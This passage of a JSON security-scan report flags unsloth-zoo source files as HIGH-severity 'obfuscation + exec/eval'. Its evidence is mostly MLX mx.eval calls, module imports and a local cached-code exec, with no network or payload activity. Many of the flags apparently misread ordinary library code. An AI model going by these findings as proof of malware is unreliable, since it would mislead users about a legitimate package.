mx.eval(_resident_parameters(model)) | L329: mx.eval([v for k, v in tree_flatten(casted) if is_mlx_norm_parameter_path(k)]) | L1787: mx.eval(model.parameters()) | L1788: mx.eval(mx.distributed.all_sum(mx.array(1.0), stream=mx.cpu)) | L1855: mx.eval(model.parameters()) | L1858: mx.eval(mx.distributed.all_sum(mx.array(1.0), stream=mx.cpu)) | L3310: mx.eval(altup.correct(predictions, activated)) | L3801: model.eval() | L3875: mx.eval(baseline, perturbed) | L3941: mx.eval([value for table in tables for value in table.values()]) | L5421: model.eval() | L6158: mx.eval(model.parameters()) | L6536: mx.eval(list(shard.values())) | L6610: mx.eval(module.weight) | L8089: mx.eval(kwargs[\"input_embeddings\"]) | L9273: mx.eval(_resident_parameters(model)) | L9290: mx.eval(target.parameters()) | L10435: lambda: mx.eval(model.parameters()), | L10502: lambda: mx.eval(model.parameters()), | L10672: mx.eval(model.parameters()) | L10727: mx.eval(model.parameters())", "evidence_hash": "c334b5de8e1305106b419f85e399171b3c1ed8fdd89eb2dac7c6f0e6f1d98783", "file_sha256": "0249fd96f9a3829b7de62686b251bbc6a9a03b06e422baa66d281a3f8b184d47" }, { "package": "unsloth-zoo", "file": "unsloth_zoo/mlx/speculative.py", "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", "severity": "HIGH", "evidence": "Obfusc: L835: module = __import__(f\"mlx_vlm.models.{family}.language\", fromlist = [\"LanguageModel\"])\nExec: L1046: mx.eval(drafts) | L1070: mx.eval([array for pair in drawn for array in pair if array is not None] + ([] if drafts is None else [drafts])) | L1345: mx.eval(parts[-1]) | L1347: mx.eval(self._scan) | L1840: mx.eval(model.parameters())", "evidence_hash": "64b95579c569b39eddc493ac6b808258094d9b1d62154c55ae9c224c80577e45", "file_sha256": "805e6992d7c03e7c694866904ee944cbd1a7d500d310e1b8d92ea1f3d1fcf1ba" }, { "package": "unsloth-zoo", "file": "unsloth_zoo/mlx/speculative.py", "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", "severity": "HIGH", "evidence": "Obfusc: L837: module = __import__(f\"mlx_vlm.models.{family}.language\", fromlist = [\"LanguageModel\"])\nExec: L1084: mx.eval(drafts) | L1108: mx.eval([array for pair in drawn for array in pair if array is not None] + ([] if drafts is None else [drafts])) | L1383: mx.eval(parts[-1]) | L1385: mx.eval(self._scan) | L1878: mx.eval(model.parameters())", "evidence_hash": "64b95579c569b39eddc493ac6b808258094d9b1d62154c55ae9c224c80577e45", "file_sha256": "85fc3f63a2f867a2ab709b8554b7a5fada4c5490f1ce8a88023159c6b4abc761" }, { "package": "unsloth-zoo", "file": "unsloth_zoo/mlx/speculative.py", "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", "severity": "HIGH", "evidence": "Obfusc: L871: module = __import__(f\"mlx_vlm.models.{family}.language\", fromlist = [\"LanguageModel\"])\nExec: L1124: mx.eval(drafts) | L1148: mx.eval([array for pair in drawn for array in pair if array is not None] + ([] if drafts is None else [drafts])) | L1424: mx.eval(parts[-1]) | L1426: mx.eval(self._scan) | L1920: mx.eval(model.parameters())", "evidence_hash": "64b95579c569b39eddc493ac6b808258094d9b1d62154c55ae9c224c80577e45", "file_sha256": "da630fa46cd49da9a723b4334fd1e5013c5b27739156ab9472cd8d260d71898a" }, { "package": "unsloth-zoo", "file": "unsloth_zoo/mlx/speculative.py", "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", "severity": "HIGH", "evidence": "Obfusc: L891: module = __import__(f\"mlx_vlm.models.{family}.language\", fromlist = [\"LanguageModel\"])\nExec: L1144: mx.eval(drafts) | L1168: mx.eval([array for pair in drawn for array in pair if array is not None] + ([] if drafts is None else [drafts])) | L1444: mx.eval(parts[-1]) | L1446: mx.eval(self._scan) | L1869: mx.eval(value)", "evidence_hash": "32e6d75d8af0bb1a2ac1107cacc97967a46268fce89e2026bdf4edc77142cefb", "file_sha256": "82e54e3c81496f3d2eb0d56b0633d5dd5fe3c71a2839b2d078a7add33011b6df" }, { "package": "unsloth-zoo", "file": "unsloth_zoo/mlx/speculative.py", "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", "severity": "HIGH", "evidence": "Obfusc: L891: module = __import__(f\"mlx_vlm.models.{family}.language\", fromlist = [\"LanguageModel\"])\nExec: L1144: mx.eval(drafts) | L1168: mx.eval([array for pair in drawn for array in pair if array is not None] + ([] if drafts is None else [drafts])) | L1444: mx.eval(parts[-1]) | L1446: mx.eval(self._scan) | L1869: mx.eval(value)", "evidence_hash": "32e6d75d8af0bb1a2ac1107cacc97967a46268fce89e2026bdf4edc77142cefb", "file_sha256": "a39605529f524387e6c61d7311155af29c9160df724ede564561e127b0b71914" }, { "package": "unsloth-zoo", "file": "unsloth_zoo/mlx/speculative.py", "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", "severity": "HIGH", "evidence": "Obfusc: L896: module = __import__(f\"mlx_vlm.models.{family}.language\", fromlist = [\"LanguageModel\"])\nExec: L1155: mx.eval(drafts) | L1179: mx.eval([array for pair in drawn for array in pair if array is not None] + ([] if drafts is None else [drafts])) | L1479: mx.eval(parts[-1]) | L1481: mx.eval(self._scan) | L1904: mx.eval(value)", "evidence_hash": "32e6d75d8af0bb1a2ac1107cacc97967a46268fce89e2026bdf4edc77142cefb", "file_sha256": "90538fe90546172bdd8c6ce5bcc0828f1c20648d2acb62ee871bae7b403cc292" }, { "package": "unsloth-zoo", "file": "unsloth_zoo/mlx/speculative.py", "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", "severity": "HIGH", "evidence": "Obfusc: L1338: module = __import__(f\"mlx_vlm.models.{family}.language\", fromlist = [\"LanguageModel\"])\nExec: L1710: mx.eval(target, path, walked, tree.rank, *([] if scores is None else [scores])) | L1772: mx.eval(drafts, *[array for array in confidence if array is not None]) | L1813: mx.eval([array for pair in drawn for array in pair if array is not None] + ([] if drafts is None else [drafts])\nL1814: + [count for _, count in ahead]) | L1886: mx.eval(committed,\nL1887: *[row.draft.prefetched for row in self._rows if getattr(row.draft, \"prefetched\", None) is not None],\nL1888: *[row.draft.prefetched_confidence for row in self._rows\nL1889: if getattr(row.draft, \"prefetched_confidence\", None) is not None]) | L2153: mx.eval(parts[-1]) | L2155: mx.eval(self._scan) | L2758: mx.eval(value) | L2769: lane_drafter_projections(model.eval())", "evidence_hash": "fbca1887658ec8577517d487839dcd41ecd4c046a46b1de8924ed61b10722979", "file_sha256": "0f50b4c3ddf3638bf372d6cfe62050fae38c5edff1ebee00f2a0c26e12d0472f" }, { "package": "unsloth-zoo", "file": "unsloth_zoo/mlx/speculative.py", "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", "severity": "HIGH", "evidence": "Obfusc: L1412: module = __import__(f\"mlx_vlm.models.{family}.language\", fromlist = [\"LanguageModel\"])\nExec: L1777: mx.eval(tree.rank, tree.score, tree.block.depth) | L1793: mx.eval(target, path, walked, tree.rank, *([] if scores is None else [scores])) | L1859: mx.eval(drafts, *[array for array in confidence if array is not None]) | L1900: mx.eval([array for pair in drawn for array in pair if array is not None] + ([] if drafts is None else [drafts])\nL1901: + [count for _, count in ahead]) | L1973: mx.eval(committed,\nL1974: *[row.draft.prefetched for row in self._rows if getattr(row.draft, \"prefetched\", None) is not None],\nL1975: *[row.draft.prefetched_confidence for row in self._rows\nL1976: if getattr(row.draft, \"prefetched_confidence\", None) is not None]) | L2240: mx.eval(parts[-1]) | L2242: mx.eval(self._scan) | L2846: mx.eval(value) | L2857: lane_drafter_projections(model.eval())", "evidence_hash": "820a1640fbe4cd7aa389dd1c0d963d78a04b37c7bdcd4c85a22cb8f9f67dc62e", "file_sha256": "7f8e8def8af2936b8141c6133ae31073a45ce5bd0275536de35363c522b6e34b" }, { "package": "unsloth-zoo", "file": "unsloth_zoo/temporary_patches/moe_utils.py", "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", "severity": "HIGH", "evidence": "Obfusc: L338: exec(compile(cached_bytes, cache_file, \"exec\"), module.__dict__)\nExec: L338: exec(compile(cached_bytes, cache_file, \"exec\"), module.__dict__)", "evidence_hash": "ef22a4fe0d8ec7e2b0e4afc6e6a3d997cd94c981bf59790562217d4f9dd70732", "file_sha256": "cc0ddeab46ef13e61470ea4929b6dba99e7d64cd2269d0f416346006146ffe2c" }, { "package": "unsloth-zoo", "file": "unsloth_zoo/temporary_patches/moe_utils.py", "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", "severity": "HIGH", "evidence": "Obfusc: L338: exec(compile(cached_bytes, cache_file, \"exec\"), module.__dict__)\nExec: L338: exec(compile(cached_bytes, cache_file, \"exec\"), module.__dict__)", "evidence_hash": "ef22a4fe0d8ec7e2b0e4afc6e6a3d997cd94c981bf59790562217d4f9dd70732", "file_sha256": "00166745336b3f25b244843463445171b86833655cb69593b31e5b7779115416" }, { "package": "unsloth-zoo", "file": "unsloth_zoo/temporary_patches/moe_utils.py", "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", "severity": "HIGH", "evidence": "Obfusc: L338: exec(compile(cached_bytes, cache_file, \"exec\"), module.__dict__)\nExec: L338: exec(compile(cached_bytes, cache_file, \"exec\"), module.__dict__)", "evidence_hash": "ef22a4fe0d8ec7e2b0e4afc6e6a3d997cd94c981bf59790562217d4f9dd70732", "file_sha256": "d88c5e510ebae6d688919c2b6092ac05800af796efd110b3da907d2238761040" }, { "package": "unsloth-zoo", "file": "unsloth_zoo/temporary_patches/moe_utils.py", "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", "severity": "HIGH", "evidence": "Obfusc: L338: exec(compile(cached_bytes, cache_file, \"exec\"), module.__dict__)\nExec: L338: exec(compile(cached_bytes, cache_file, \"exec\"), module.__dict__)", "evidence_hash": "ef22a4fe0d8ec7e2b0e4afc6e6a3d997cd94c981bf59790562217d4f9dd70732", "file_sha256": "218f1ec56a4183a6de525dca3310dce8e58ef4e7e45c7cba787f54247ff46d4d" }, { "package": "unsloth-zoo", "file": "unsloth_zoo/temporary_patches/moe_utils.py", "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", "severity": "HIGH", "evidence": "Obfusc: L338: exec(compile(cached_bytes, cache_file, \"exec\"), module.__dict__)\nExec: L338: exec(compile(cached_bytes, cache_file, \"exec\"), module.__dict__)", "evidence_hash": "ef22a4fe0d8ec7e2b0e4afc6e6a3d997cd94c981bf59790562217d4f9dd70732", "file_sha256": "ade881faa329738360776132ccb339fe72be7f5ef6a3b80159e8cbe34e3ac6bb" }, { "package": "unsloth-zoo", "file": "unsloth_zoo/temporary_patches/moe_utils.py", "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", "severity": "HIGH", "evidence": "Obfusc: L297: exec(compile(cached_bytes, cache_file, \"exec\"), module.__dict__)\nExec: L297: exec(compile(cached_bytes, cache_file, \"exec\"), module.__dict__)", "evidence_hash": "ef22a4fe0d8ec7e2b0e4afc6e6a3d997cd94c981bf59790562217d4f9dd70732", "file_sha256": "5604ea15f97725b3b152fc454ac059b4409d8e60e85b410310581c4fdace59e2" }, { "package": "unsloth-zoo", "file": "unsloth_zoo/temporary_patches/moe_utils.py", "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", "severity": "HIGH", "evidence": "Obfusc: L297: exec(compile(cached_bytes, cache_file, \"exec\"), module.__dict__)\nExec: L297: exec(compile(cached_bytes, cache_file, \"exec\"), module.__dict__)", "evidence_hash": "ef22a4fe0d8ec7e2b0e4afc6e6a3d997cd94c981bf59790562217d4f9dd70732", "file_sha256": "db533efa82fbb6ec17bb804899959eb0eb8ce4dd2fdbff9ae020f22cdcd3bab1" }, { "package": "unsloth-zoo", "file": "unsloth_zoo/temporary_patches/moe_utils.py", "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", "severity": "HIGH", "evidence": "Obfusc: L297: exec(compile(cached_bytes, cache_file, \"exec\"), module.__dict__)\nExec: L297: exec(compile(cached_bytes, cache_file, \"exec\"), module.__dict__)", "evidence_hash": "ef22a4fe0d8ec7e2b0e4afc6e6a3d997cd94c981bf59790562217d4f9dd70732", "file_sha256": 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